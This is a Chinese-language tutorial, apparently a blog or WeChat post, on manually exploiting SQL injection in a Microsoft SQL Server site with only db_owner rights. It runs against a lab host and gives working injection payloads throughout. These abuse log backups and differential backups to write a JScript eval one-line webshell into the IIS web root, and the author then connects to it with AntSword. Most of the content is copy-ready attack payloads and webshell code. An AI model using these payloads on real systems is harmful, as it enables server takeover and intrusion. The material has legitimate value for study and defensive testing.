Microsoft SQL Server手注之db_owner权限处理

前言

注入点:http://192.168.159.137/post.aspx

首先我配置了一下权限:(添加了一个新用户 saul,映射了 test 数据库,只有 db_ownerpublic权限)

图片

加了一个单引号报错得到网站绝对路径:c:\inetpub\wwwroot\post.aspx

图片

Log备份Getshell

LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的,但是使用log备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式。

具体如何备份Mssql数据库参考这篇文章:https://www.cnblogs.com/huangtaiyu/p/5560980.html

1
2
3
4
5
6
;alter database test set RECOVERY FULL--
;create table cmd (a image)--
;backup log test to disk = 'c:/1.bak' with init--
;insert into cmd (a) values ('<%@ Page Language="Jscript"%><%eval(Request.Item["saul"],"unsafe");%>')--
;backup log test to disk = 'c:\inetpub\wwwroot\saul.aspx'--
;drop table cmd--

1、修改数据库恢复为完整模式

1
admin' ;alter database test set RECOVERY FULL --

图片

2、创建一张表:cmd,只有一个 a 列,类型为 image

1
admin ';create table cmd (a image) --

图片

3、备份表到C:\1.bak

1
admin' ;backup log test to disk = 'c:/1.bak' with init --

图片

4、插入一句话木马到 cmd 表里

1
admin';insert into cmd (a) values ('<%@ Page Language="Jscript"%><%eval(Request.Item["saul"],"unsafe");%>')--

图片

5、吧操作日志备份到网站根目录

1
admin ';backup log test to disk = 'c:\inetpub\wwwroot\saul.aspx' --

图片

这个时候我们就得到了一个webshellhttp://192.168.159.137/saul.aspx

图片

写入成功记得擦屁股吧创建的表删了:

1
admin';drop table cmd--

图片

最后用蚁剑连接:

图片

成功 Getshell

差异备份Getshell(不推荐)

差异备份数据库得到webshell。在sql serverdbosa权限都有备份数据库权限,我们可以把数据库备份成aspx文件,这样我们就可以通过mssqlserver的备份数据库功能生成一个网页小马。

PS:差异备份有几率会导致网站挂掉!如果上面的LOG备份拿shell成功的话就尽量别用差异备份拿shell这种方法!具体为啥我也不知道。。。

1
2
3
4
5
6
7
1. backup database 库名 to disk = 'c:\bak.bak';--

2. create table [dbo].[test] ([cmd] [image]);--

3. insert into test(cmd) values('<%@ Page Language="Jscript"%><%eval(Request.Item["saul"],"unsafe");%>')--

4. backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--

1、备份数据库

1
admin';backup database test to disk = 'c:\bak.bak';--

图片

2、创建一张表

1
admin';create table [dbo].[test] ([cmd] [image]);--

图片

3、写入webshell到表

1
admin';insert into test(cmd) values('<%@ Page Language="Jscript"%><%eval(Request.Item["saul"],"unsafe");%>')--

图片

4、创建脚本文件

1
admin';backup database test to disk='c:\inetpub\wwwroot\saul1.aspx' WITH DIFFERENTIAL,FORMAT;--

图片

这个时候就得到了webshellhttp://192.168.159.137/saul1.aspx

图片

由上图可见发现是503,我们上帝视角看看:

图片

确实是写入成功的!就是内存有点大!是因为我们访问的日志过多导致的!我们重启一下服务器。。。

图片

图片

成功Getshell

微信公众号

公众号:saulGoodman

saulGoodman